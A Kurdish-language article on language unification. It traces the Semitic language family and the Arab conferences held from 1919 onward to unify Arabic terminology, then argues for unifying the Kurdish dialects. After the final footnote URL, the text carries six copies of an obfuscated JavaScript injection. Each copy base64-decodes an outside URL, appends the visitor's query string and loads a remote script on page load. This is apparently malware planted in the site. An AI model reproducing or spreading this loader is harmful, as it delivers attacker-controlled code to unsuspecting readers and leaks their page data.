هەڤگرتنا زمانان (زمانێ عەرەبی بۆ هەڤگرتنا زمانێ كوردی وەك نموونە؛ 2 ژ 3)
سەدیق وەلی
هەڤگرتنا زمانێ عەرەبی ژ جەنگێ جیهانیێ ئێكێ هێرڤە بۆ هەڤگرتنا زمانێ كوردی وەك نموونە: زمانێ عەرەبی ژ خێزانا زمانێن سامی یە، ئەڤ خێزانە دبنە چوار كۆمە زمان، گرینگترین ژ وان تا و كۆمە زمانان ئەڤەنە:
1- كۆما زمانێ عەرەبی یێن كەڤنارێن ژێرین، ئەو ژی ژ ئەڤان زمانان پێكدهێت: (سەبەئی، حیمیەری، قەتبانی و پە موودی) و ژ زمانێ عەرەبێ ئەوێن دبێژنێ: نویێ باكور، ئەو زمانێ حەبەشی پێكدهێت.
2- كۆما زمانێ عەرەبی یێن ژوری ژ (زمانێ ئارامیا كەڤن، و سریانی و صابئە) پێكدهێت.
3- كۆما زمانێ عەرەبی یێن رۆژئاڤایی «كۆما كەنعانی» ئەو ژی ژ زمانێ فینیقی و عبری پێكدهێت.
4- كۆما زمانێ عەرەبی یێن روژهەلاتی، ئەو ژی ژ (زمانێ ئەكەدی، بابلی و ئاشوریان) پێكدهێت1.
ئەڤ كۆمەلە زمانێن سامی ل ژێریا میسۆپۆتامیا و گزیرتا عەرەب و باكورێ كیشوەرێ ئەفریقیا د ئاكنجینە2.
نەخشێ هێلكاری ژمارە 1 زمانێن سامی ل دویڤ پارڤەكرنا هەڤچەرخ دیاردكەت، نەخشە ژ پەرتووكا زمانی كوردی شوێنە لە ناو زمانەكانی جیهاندا3.
و زاراڤێ «سامی د تەوارتێ دا هەیە» هەر بۆ ڤێ واتایێ هاتیە، و هندەك ژێدەر ژی دبێژن: زاراڤێ (سامی) دچیتە بال ناڤێ (سام) ێ كورێ نوح پێعەمبەری، سلاڤێن خودێ ل سەر بن4 .
پشتی دەولەتێن عەرەبی ژ رژێما ئمبراتوریا ئوسمانی رزگار بووین، ئانكو پاش جەنگا جیهانیا ئێكێ (1914- 1918). ب ئاوایەكێ فەرمی خویندن ب زمانێ توركی هاتە مەندەكرن و نەما، و زمانێ عەرەبی ب رەنگەكێ فەرمی ل قوتابخانە یێن سووریێ و عێراقێ دەسپێكر، ل سالا 1919ز، خەلكەكی هەست پێكر كو زمانێ عەرەبی یێ ژێك جودا دبیت، و ژێك جودابوونەكا ئاشكرا هەیە، ڤێجا ل سالا 1919 – 1923ز بزاڤ بۆ هەڤگرتنا زمانێ عەرەبی چ ژ لای كەسی، چ ژ لایەنێن كۆم و فەرمی هاتەكرن، مشە كونفرانس بۆ زانینا ئەگەر و بناسێن ژێك جودابوونا زمانێ عەرەبی هاتنەكرن، و دهەمان دەمدا رێكێن چاكسازی و هەڤگرتنێ و چارەسەریێ بۆ هاتنە بەرهەڤكرن5. د. محەمەد جەمیل ئەلخانی؛ گوتارەك سەرهەڤگرتنا زمانێ عەرەبی ب ڤی شێوەی بەلاڤكر: ئەرێ زمانێ عەرەبی ل پێشیێ ئێك زمان بوو، ئەڤرۆكە بوویە چەند زمان؟ ب ناڤونیشانا ناڤبری هاتە بەلاڤكرن.
پاشی كۆمەلا نوژدارێن مسری ب فەرمی داخازا كۆنفرانسەكێ (كۆنگرەكی) سالانە ژ هەمی دەولەتێن عەرەبی بۆ هەڤگرتنا زاراڤێن زمانێ عەربی كر، ل دویڤ داخازا ئەڤێ كۆمەلا نوژدارێن مسری سەروكتا ئەنجومەنێ وەزیرێن مسری یێن وی وەختی رەزامەندی ل سەر داخازا وان كر.
ل سالا 1938 هەر ب وی رەنگی و بۆ وێ مەرەمێ كۆنفرانسەكێ دی ل بەغدا هاتە گرێدان، و دیسا ل سالا 1945ز هێرڤە ڤێجا پەیمانگەهێن رەوشەنبیری (معاهدات پقافیە) و كۆمەلە و كونفرانس و لیژنە بۆ هەڤگرتنا زاراڤ و زاراڤێن زانستی زێدە تر پەیدا بوون و گەشەسەندن، ڤێجا زاراڤێن هەڤگرتی بۆ هەمو بیاڤان هاتنە دەست نیشانكرن.
كۆنفرانسەكێ دی بۆ هەمان مەرەم ل ئەسكەندەریێ ل مسرێ هاتە گرێدان، دیسا ئەوان تەكەز ل سەر هندێ كر، كو زاراڤێن وەلاتێ عەرەبی هەمی بهێنە دهەڤگرتن. ڤێجا ل سالا 1955 ب هاریكاریا زانایەێ ئەلمانی اێ وی (جمبلیت (Gemble بوو، بەرسڤ ژ لایێ رێكخراوا یونسكو ڤە بۆ كۆنفرانسەكێ دی بۆ هەڤگرتنا زاراڤێن زمانێ عەرەبی هاتە كرن، ئەڤی كۆنفرانسێ ناڤبری دیسا داكۆكی ل سەر یەكگرتنا زاراڤێن زمانێ عەرەبی ب گشتی كر.
كۆنفرانسەكێ دی ل سالا 1957 ل لبنانێ هاتە گرێدان بۆ هەمان مەبەست بۆ هەڤگرتنا زمانێ عەرەبی. و كۆنفرانسەكێ دی ل سالا 1966 ل بەغدا هاتە بەستن، ئەڤی كۆنگرەی داكۆكی ل سەر هەڤگرتنا زاراڤێن قوتابخانێن سەرەتایی و ئامادەیی پتر كر، بۆ پۆلا ئێكێ بنەرەتی هەتا كو یا دوازدێ ئامادەیی هاتە گفتوگۆ كرن، كو زاڤ و رێبازێن هەمی قوتابخانێن وەلاتێ عەرەبی وەكی ئێك دهەڤگرتی ن و جیاوازی ل ناڤبەرا وان نەبن، و زاراڤێن رێبازێن زانكۆی ب شێوەكێ لایەكی ئەو ژی هاتنە گفتوگۆكرن6. هەرچەندە زمان هەمیشە وەرارێ دكەت و ژێك دویر دكەڤیت، لەوا هەردەم ئەڤ كۆنفرانسە بۆ یەكگرتنا زمانی و وەكهەڤیا زاراڤان دفەرن. نەمازە بۆ زمانێ كوردی پێدڤیە هەمیشەیی و دبەردەوام بن هەتا زمانێ كوردی هەڤگرتی دبیت و كورد هەمی د زمانێ ئێك دو دگەهن.
ئەڤە ژ ڤێ هەڤگرتنا زمانێ عەرەبی ئەنجام بوو: دڤێت بزاڤ بۆ هەڤگرتنا زمانێ كوردی چ ژ لایەنێن كەسی چ ژ لایەنێن كۆم و فەرمی ( رسمی) بهێتەكرن، و مشە كۆنفرانس بۆ زانینا ئەگەر و بناسێن ژێك جودا بوونا زمانێ كوردی و زار و زارۆچكێن كوردی بهێنەگرێدان، دا رێكێن چاكسازی و هەڤگرتنێ بۆ بهێنە بەرهەڤكرن، و هەمی زاراڤێن دام و دەزگەهێن میری (حكومی) ببنە ئێك و دهەڤگرتی بن، هوسا دو شێوە زمانی دئێك دەم و ئێك زماندا، زمانێ كوردی دێ ل ئایندەی بتە دو زمان، ڤێجا دڤێت دو زارێن سەرەكی ئانكو كرمانجیا ژۆری و ژێری (ناڤەراست) بەرەڤ نێزیككنێ و هەڤرتێ بن، دا ل ئایندەی نەبنە دو زمان، هەمیشە مان و ئایندێ ملەتێ مە ب مانا زمانێ مەیە، و ب هەڤگرتنا زمانێ ڤە مایە.
ژێدەر و پەراوێز
1 زبیر بلال اسماعیل، وەرگێرانی، یوسف رۆوف علی، مێژوویی زمانی كوردی، دار الحریە للگباعە، بغداد: 1984: ل13.
2 بنێرە: ویكیبیدیا تصنیف اللغە العربیە. نێت.
3 گزیرتە واتە: ژ گزر (هشك) + تەر(بئاڤ) یا هاتی، گراڤ، دورگە.
4 د.رەفیق شوانی، زمانی كوردی شوێنی لەو زمانەكانی جیهاندا، هەولێر، 2008، ل47.
5 زبیر بلال اسماعیل، وەرگێرانی، یوسف رۆوف علی، ژێدەرێ بەرێ، ل13.
6بنێرە ڤی سایدێ ئەنترنێتێ. www.arabiztion.org // http:(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
